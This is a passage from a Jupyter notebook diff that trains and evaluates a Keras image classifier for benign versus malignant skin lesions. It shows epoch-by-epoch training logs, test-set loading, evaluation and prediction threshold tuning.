+ "31/31 [==============================] - 8s 260ms/step - loss: 0.2729 - accuracy: 0.8871 - val_loss: 0.4540 - val_accuracy: 0.8047\n",
+ "Epoch 46/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2540 - accuracy: 0.8977\n",
+ "Epoch 46: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 276ms/step - loss: 0.2540 - accuracy: 0.8977 - val_loss: 0.4551 - val_accuracy: 0.8203\n",
+ "Epoch 47/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2649 - accuracy: 0.8891\n",
+ "Epoch 47: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 277ms/step - loss: 0.2649 - accuracy: 0.8891 - val_loss: 0.4835 - val_accuracy: 0.7969\n",
+ "Epoch 48/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2613 - accuracy: 0.8972\n",
+ "Epoch 48: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 278ms/step - loss: 0.2613 - accuracy: 0.8972 - val_loss: 0.4676 - val_accuracy: 0.7500\n",
+ "Epoch 49/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2691 - accuracy: 0.8846\n",
+ "Epoch 49: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 8s 260ms/step - loss: 0.2691 - accuracy: 0.8846 - val_loss: 0.4488 - val_accuracy: 0.8203\n",
+ "Epoch 50/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2502 - accuracy: 0.8997\n",
+ "Epoch 50: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 278ms/step - loss: 0.2502 - accuracy: 0.8997 - val_loss: 0.4149 - val_accuracy: 0.8125\n",
+ "Epoch 51/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2632 - accuracy: 0.8896\n",
+ "Epoch 51: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 277ms/step - loss: 0.2632 - accuracy: 0.8896 - val_loss: 0.4606 - val_accuracy: 0.8203\n",
+ "Epoch 52/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2626 - accuracy: 0.8942\n",
+ "Epoch 52: val_loss improved from 0.40612 to 0.39894, saving model to benign-vs-malignant_64_rmsprop_0.399.h5\n",
+ "31/31 [==============================] - 9s 293ms/step - loss: 0.2626 - accuracy: 0.8942 - val_loss: 0.3989 - val_accuracy: 0.8203\n",
+ "Epoch 53/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2581 - accuracy: 0.8916\n",
+ "Epoch 53: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 277ms/step - loss: 0.2581 - accuracy: 0.8916 - val_loss: 0.4447 - val_accuracy: 0.8047\n",
+ "Epoch 54/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2616 - accuracy: 0.8871\n",
+ "Epoch 54: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 8s 259ms/step - loss: 0.2616 - accuracy: 0.8871 - val_loss: 0.4669 - val_accuracy: 0.7812\n",
+ "Epoch 55/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2447 - accuracy: 0.9047\n",
+ "Epoch 55: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 8s 260ms/step - loss: 0.2447 - accuracy: 0.9047 - val_loss: 0.4541 - val_accuracy: 0.8203\n",
+ "Epoch 56/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2528 - accuracy: 0.8957\n",
+ "Epoch 56: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 276ms/step - loss: 0.2528 - accuracy: 0.8957 - val_loss: 0.4566 - val_accuracy: 0.8125\n",
+ "Epoch 57/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2607 - accuracy: 0.8896\n",
+ "Epoch 57: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 277ms/step - loss: 0.2607 - accuracy: 0.8896 - val_loss: 0.4610 - val_accuracy: 0.7891\n",
+ "Epoch 58/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2421 - accuracy: 0.9032\n",
+ "Epoch 58: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 278ms/step - loss: 0.2421 - accuracy: 0.9032 - val_loss: 0.4054 - val_accuracy: 0.8203\n",
+ "Epoch 59/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2625 - accuracy: 0.8906\n",
+ "Epoch 59: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 8s 259ms/step - loss: 0.2625 - accuracy: 0.8906 - val_loss: 0.5048 - val_accuracy: 0.7812\n",
+ "Epoch 60/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2352 - accuracy: 0.9017\n",
+ "Epoch 60: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 279ms/step - loss: 0.2352 - accuracy: 0.9017 - val_loss: 0.4740 - val_accuracy: 0.7969\n",
+ "Epoch 61/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2719 - accuracy: 0.8831\n",
+ "Epoch 61: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 278ms/step - loss: 0.2719 - accuracy: 0.8831 - val_loss: 0.4452 - val_accuracy: 0.8125\n",
+ "Epoch 62/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2381 - accuracy: 0.9032\n",
+ "Epoch 62: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 8s 260ms/step - loss: 0.2381 - accuracy: 0.9032 - val_loss: 0.4981 - val_accuracy: 0.8203\n",
+ "Epoch 63/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2597 - accuracy: 0.8972\n",
+ "Epoch 63: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 8s 261ms/step - loss: 0.2597 - accuracy: 0.8972 - val_loss: 0.4142 - val_accuracy: 0.8047\n",
+ "Epoch 64/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2454 - accuracy: 0.9068\n",
+ "Epoch 64: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 8s 261ms/step - loss: 0.2454 - accuracy: 0.9068 - val_loss: 0.5029 - val_accuracy: 0.8047\n",
+ "Epoch 65/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2521 - accuracy: 0.8936\n",
+ "Epoch 65: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 279ms/step - loss: 0.2521 - accuracy: 0.8936 - val_loss: 0.4601 - val_accuracy: 0.8438\n",
+ "Epoch 66/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2419 - accuracy: 0.9042\n",
+ "Epoch 66: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 278ms/step - loss: 0.2419 - accuracy: 0.9042 - val_loss: 0.4847 - val_accuracy: 0.8359\n",
+ "Epoch 67/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2425 - accuracy: 0.9022\n",
+ "Epoch 67: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 8s 261ms/step - loss: 0.2425 - accuracy: 0.9022 - val_loss: 0.5090 - val_accuracy: 0.8125\n",
+ "Epoch 68/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2441 - accuracy: 0.8957\n",
+ "Epoch 68: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 8s 261ms/step - loss: 0.2441 - accuracy: 0.8957 - val_loss: 0.4995 - val_accuracy: 0.7734\n",
+ "Epoch 69/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2469 - accuracy: 0.8977\n",
+ "Epoch 69: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 8s 259ms/step - loss: 0.2469 - accuracy: 0.8977 - val_loss: 0.4630 - val_accuracy: 0.8281\n",
+ "Epoch 70/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2530 - accuracy: 0.8962\n",
+ "Epoch 70: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 278ms/step - loss: 0.2530 - accuracy: 0.8962 - val_loss: 0.4824 - val_accuracy: 0.8047\n",
+ "Epoch 71/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2385 - accuracy: 0.9078\n",
+ "Epoch 71: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 8s 260ms/step - loss: 0.2385 - accuracy: 0.9078 - val_loss: 0.3993 - val_accuracy: 0.8594\n",
+ "Epoch 72/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2505 - accuracy: 0.9022\n",
+ "Epoch 72: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 278ms/step - loss: 0.2505 - accuracy: 0.9022 - val_loss: 0.4983 - val_accuracy: 0.8281\n",
+ "Epoch 73/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2357 - accuracy: 0.9022\n",
+ "Epoch 73: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 278ms/step - loss: 0.2357 - accuracy: 0.9022 - val_loss: 0.6113 - val_accuracy: 0.8047\n",
+ "Epoch 74/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2467 - accuracy: 0.8942\n",
+ "Epoch 74: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 278ms/step - loss: 0.2467 - accuracy: 0.8942 - val_loss: 0.4633 - val_accuracy: 0.8516\n",
+ "Epoch 75/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2425 - accuracy: 0.8977\n",
+ "Epoch 75: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 277ms/step - loss: 0.2425 - accuracy: 0.8977 - val_loss: 0.6210 - val_accuracy: 0.8281\n",
+ "Epoch 76/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2407 - accuracy: 0.9027\n",
+ "Epoch 76: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 277ms/step - loss: 0.2407 - accuracy: 0.9027 - val_loss: 0.7663 - val_accuracy: 0.7891\n",
+ "Epoch 77/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2467 - accuracy: 0.8942\n",
+ "Epoch 77: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 8s 259ms/step - loss: 0.2467 - accuracy: 0.8942 - val_loss: 0.6485 - val_accuracy: 0.8203\n",
+ "Epoch 78/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2432 - accuracy: 0.9047\n",
+ "Epoch 78: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 278ms/step - loss: 0.2432 - accuracy: 0.9047 - val_loss: 0.6612 - val_accuracy: 0.8125\n",
+ "Epoch 79/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2379 - accuracy: 0.9068\n",
+ "Epoch 79: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 278ms/step - loss: 0.2379 - accuracy: 0.9068 - val_loss: 0.8306 - val_accuracy: 0.7812\n",
+ "Epoch 80/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2315 - accuracy: 0.9108\n",
+ "Epoch 80: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 277ms/step - loss: 0.2315 - accuracy: 0.9108 - val_loss: 0.8280 - val_accuracy: 0.7891\n",
+ "Epoch 81/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2394 - accuracy: 0.9012\n",
+ "Epoch 81: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 277ms/step - loss: 0.2394 - accuracy: 0.9012 - val_loss: 0.7737 - val_accuracy: 0.8047\n",
+ "Epoch 82/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2304 - accuracy: 0.9098\n",
+ "Epoch 82: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 277ms/step - loss: 0.2304 - accuracy: 0.9098 - val_loss: 0.8195 - val_accuracy: 0.7969\n",
+ "Epoch 83/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2290 - accuracy: 0.9098\n",
+ "Epoch 83: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 8s 259ms/step - loss: 0.2290 - accuracy: 0.9098 - val_loss: 0.9229 - val_accuracy: 0.8047\n",
+ "Epoch 84/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2367 - accuracy: 0.9037\n",
+ "Epoch 84: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 8s 260ms/step - loss: 0.2367 - accuracy: 0.9037 - val_loss: 0.8928 - val_accuracy: 0.7969\n",
+ "Epoch 85/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2345 - accuracy: 0.9062\n",
+ "Epoch 85: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 277ms/step - loss: 0.2345 - accuracy: 0.9062 - val_loss: 0.8177 - val_accuracy: 0.8125\n",
+ "Epoch 86/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2342 - accuracy: 0.9042\n",
+ "Epoch 86: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 278ms/step - loss: 0.2342 - accuracy: 0.9042 - val_loss: 1.0400 - val_accuracy: 0.7891\n",
+ "Epoch 87/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2329 - accuracy: 0.9083\n",
+ "Epoch 87: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 278ms/step - loss: 0.2329 - accuracy: 0.9083 - val_loss: 0.8483 - val_accuracy: 0.8047\n",
+ "Epoch 88/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2246 - accuracy: 0.9143\n",
+ "Epoch 88: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 8s 260ms/step - loss: 0.2246 - accuracy: 0.9143 - val_loss: 1.0015 - val_accuracy: 0.7812\n",
+ "Epoch 89/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2342 - accuracy: 0.9068\n",
+ "Epoch 89: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 8s 260ms/step - loss: 0.2342 - accuracy: 0.9068 - val_loss: 0.7876 - val_accuracy: 0.8125\n",
+ "Epoch 90/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2329 - accuracy: 0.9108\n",
+ "Epoch 90: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 8s 259ms/step - loss: 0.2329 - accuracy: 0.9108 - val_loss: 0.7937 - val_accuracy: 0.8125\n",
+ "Epoch 91/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2320 - accuracy: 0.9103\n",
+ "Epoch 91: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 8s 260ms/step - loss: 0.2320 - accuracy: 0.9103 - val_loss: 0.8469 - val_accuracy: 0.8125\n",
+ "Epoch 92/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2286 - accuracy: 0.9153\n",
+ "Epoch 92: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 278ms/step - loss: 0.2286 - accuracy: 0.9153 - val_loss: 0.8626 - val_accuracy: 0.7969\n",
+ "Epoch 93/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2362 - accuracy: 0.9078\n",
+ "Epoch 93: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 278ms/step - loss: 0.2362 - accuracy: 0.9078 - val_loss: 0.8275 - val_accuracy: 0.8047\n",
+ "Epoch 94/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2225 - accuracy: 0.9143\n",
+ "Epoch 94: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 8s 261ms/step - loss: 0.2225 - accuracy: 0.9143 - val_loss: 0.9085 - val_accuracy: 0.8047\n",
+ "Epoch 95/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2291 - accuracy: 0.9083\n",
+ "Epoch 95: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 277ms/step - loss: 0.2291 - accuracy: 0.9083 - val_loss: 0.7826 - val_accuracy: 0.8203\n",
+ "Epoch 96/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2272 - accuracy: 0.9103\n",
+ "Epoch 96: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 8s 259ms/step - loss: 0.2272 - accuracy: 0.9103 - val_loss: 0.8306 - val_accuracy: 0.8047\n",
+ "Epoch 97/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2330 - accuracy: 0.9133\n",
+ "Epoch 97: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 8s 261ms/step - loss: 0.2330 - accuracy: 0.9133 - val_loss: 0.7418 - val_accuracy: 0.8203\n",
+ "Epoch 98/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2207 - accuracy: 0.9128\n",
+ "Epoch 98: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 281ms/step - loss: 0.2207 - accuracy: 0.9128 - val_loss: 0.9743 - val_accuracy: 0.7734\n",
+ "Epoch 99/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2284 - accuracy: 0.9083\n",
+ "Epoch 99: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 279ms/step - loss: 0.2284 - accuracy: 0.9083 - val_loss: 0.8099 - val_accuracy: 0.7891\n",
+ "Epoch 100/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2168 - accuracy: 0.9178\n",
+ "Epoch 100: val_loss did not improve from 0.39894\n",
+ "31/31 [==============================] - 9s 277ms/step - loss: 0.2168 - accuracy: 0.9178 - val_loss: 0.7417 - val_accuracy: 0.8125\n"
+ ]
+ }
+ ],
+ "source": [
+ "model_name = f\"benign-vs-malignant_{batch_size}_{optimizer}\"\n",
+ "tensorboard = tf.keras.callbacks.TensorBoard(log_dir=os.path.join(\"logs\", model_name))\n",
+ "# saves model checkpoint whenever we reach better weights\n",
+ "modelcheckpoint = tf.keras.callbacks.ModelCheckpoint(model_name + \"_{val_loss:.3f}.h5\", save_best_only=True, verbose=1)\n",
+ "\n",
+ "history = m.fit(train_ds, validation_data=valid_ds, \n",
+ " steps_per_epoch=n_training_samples // batch_size, \n",
+ " validation_steps=n_validation_samples // batch_size, verbose=1, epochs=100,\n",
+ " callbacks=[tensorboard, modelcheckpoint])"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 10,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "RTYp8Ih2onEO",
+ "outputId": "d5b72e61-acdf-450d-adc0-48b51bfd956d"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "Number of testing samples: 600\n"
+ ]
+ }
+ ],
+ "source": [
+ "# evaluation\n",
+ "\n",
+ "# load testing set\n",
+ "test_metadata_filename = \"test.csv\"\n",
+ "df_test = pd.read_csv(test_metadata_filename)\n",
+ "n_testing_samples = len(df_test)\n",
+ "print(\"Number of testing samples:\", n_testing_samples)\n",
+ "test_ds = tf.data.Dataset.from_tensor_slices((df_test[\"filepath\"], df_test[\"label\"]))\n",
+ "\n",
+ "def prepare_for_testing(ds, cache=True, shuffle_buffer_size=1000):\n",
+ " # This is a small dataset, only load it once, and keep it in memory.\n",
+ " # use `.cache(filename)` to cache preprocessing work for datasets that don't\n",
+ " # fit in memory.\n",
+ " if cache:\n",
+ " if isinstance(cache, str):\n",
+ " ds = ds.cache(cache)\n",
+ " else:\n",
+ " ds = ds.cache()\n",
+ "\n",
+ " ds = ds.shuffle(buffer_size=shuffle_buffer_size)\n",
+ "\n",
+ " return ds\n",
+ "\n",
+ "\n",
+ "test_ds = test_ds.map(process_path)\n",
+ "test_ds = prepare_for_testing(test_ds, cache=\"test-cached-data\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "FXeRz9DQoo07",
+ "outputId": "13083464-d23c-432a-8de1-e52ee06d1af8"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "y_test.shape: (600,)\n"
+ ]
+ }
+ ],
+ "source": [
+ "# convert testing set to numpy array to fit in memory (don't do that when testing\n",
+ "# set is too large)\n",
+ "y_test = np.zeros((n_testing_samples,))\n",
+ "X_test = np.zeros((n_testing_samples, 299, 299, 3))\n",
+ "for i, (img, label) in enumerate(test_ds.take(n_testing_samples)):\n",
+ " # print(img.shape, label.shape)\n",
+ " X_test[i] = img\n",
+ " y_test[i] = label.numpy()\n",
+ "\n",
+ "print(\"y_test.shape:\", y_test.shape)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 12,
+ "metadata": {
+ "id": "4HzOl1TtoqKG"
+ },
+ "outputs": [],
+ "source": [
+ "# load the weights with the least loss\n",
+ "m.load_weights(\"benign-vs-malignant_64_rmsprop_0.399.h5\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 13,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "VVEdeCwmo1q9",
+ "outputId": "79ba51cb-8898-4b33-f564-a9266c3d360d"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "Evaluating the model...\n",
+ "Loss: 0.4762299060821533 Accuracy: 0.7883333563804626\n"
+ ]
+ }
+ ],
+ "source": [
+ "print(\"Evaluating the model...\")\n",
+ "loss, accuracy = m.evaluate(X_test, y_test, verbose=0)\n",
+ "print(\"Loss:\", loss, \" Accuracy:\", accuracy)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 18,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "GxL5QhIvo3vw",
+ "outputId": "c79525e4-ca14-46de-d31d-2f0016cd879a"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "19/19 [==============================] - 2s 123ms/step\n",
+ "Accuracy after setting the threshold: 0.7883333333333333\n"
+ ]
+ }
+ ],
+ "source": [
+ "from sklearn.metrics import accuracy_score\n",
+ "\n",
+ "def get_predictions(threshold=None):\n",
+ " \"\"\"\n",
+ " Returns predictions for binary classification given `threshold`\n",
+ " For instance, if threshold is 0.3, then it'll output 1 (malignant) for that sample if\n",
+ " the probability of 1 is 30% or more (instead of 50%)\n",
+ " \"\"\"\n",
+ " y_pred = m.predict(X_test)\n",
+ " if not threshold:\n",
+ " threshold = 0.5\n",
+ " result = np.zeros((n_testing_samples,))\n",
+ " for i in range(n_testing_samples):\n",
+ " # test melanoma probability\n",
+ " if y_pred[i][0] >= threshold:\n",
+ " result[i] = 1\n",
+ " # else, it's 0 (benign)\n",
+ " return result\n",
+ "\n",
+ "threshold = 0.23\n",
+ "# get predictions with 23% threshold\n",
+ "# which means if the model is 23% sure or more that is malignant,\n",
+ "# it's assigned as malignant, otherwise it's benign\n",
+ "y_pred = get_predictions(threshold)\n",
+ "accuracy_after = accuracy_score(y_test, y_pred)\n",
+ "print(\"Accuracy after setting the threshold:\", accuracy_after)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 15,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 971
+ },
+ "id": "Ah4rouFBo5LI",
+ "outputId": "c2f62e09-616d-4f3c-8b38-57cccf998cbd"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "[[0.5610766 0.4389234 ]\n",
+ " [0.23931624 0.76068376]]\n"
+ ]
+ },
+ {
+ "data": {
+ "image/png": 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